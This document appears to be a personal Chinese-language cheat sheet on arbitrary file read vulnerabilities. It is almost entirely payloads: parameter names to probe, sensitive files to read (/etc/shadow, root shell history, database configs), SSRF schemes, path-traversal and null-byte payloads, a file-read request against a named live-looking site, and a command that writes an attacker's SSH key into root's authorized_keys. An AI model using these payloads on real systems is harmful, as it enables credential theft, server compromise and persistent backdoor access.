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烏雲漏洞筆記1-任意檔案讀取

閱讀時間16.01.18
page1-3

敏感欄位

&RealPath=
&FilePath=
&filepath=
&Path=
&path=
&inputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF

可利用路徑

/etc/shadow
/etc/passwd
/etc/hosts
/root/.bash_history

找user add,cd,mysql,ssh,nohop看敏感目錄和檔案等
/etc/syscomfig/network-scripts/ifcfg-eth1
sed -i ‘/95_251/d’ /root/.ssh/authorized_keys
url=file:///etc/passwd
(ssrf內網探測)
/opt/nginx/conf/nginx.conf
file:///,gopher://,ftp://
/configs/database.php

Payload

  1. http://...:8080/%c0%ae/WEB-INF/classes/com/huilan/application/action/PeopleBankAction.class

  2. 配合截斷規則:/etc/passwd%00.jpg

  3. ../../../../../../../../../../etc/passwd%00.jpg

  4. http://www.zzvcom.com/cms/interface.jsp?time=41&data={readfile:%27/WEB-INF/classes/jdbc.properties%27}&jsoncallback=jsonp1442909681355

  5. echo ssh-rsa
    AAAAB3NzaC1yc2EAAAABIwAAAQEA0jrJeJfEURdpG/jddXzk3zZYxQfdHbgPC4QYh5qx0F2SS1Q+uCW6j2cM/SxqhocfgDYw1CTikNTlJ43tzv1ozpSRjmLH26aTxGDUnXsvyVLeWdrjPni1FoVffW+LM0rZVh7A74Vi1bDr7IP7XjSMQU157rye7++G+eWA1NhscIiiJ/pwUKAjPSiEx+8DXN8ccTDyWrSnD+NfUQXPO4dVFu2MR5/VjLO2yWsVMwenCPwItf5xEwGqU5KbzxeTOyDnYYLk7UF6lBYpSDZC9U3mNL1alYgNnIbmZGYg921KFh28BRptDewh5MRDKmfMUSqeZpIZ95Pq8lG1sObcjNzDew==

    [email protected]_251.easou.com >> /root/.ssh/authorized_keys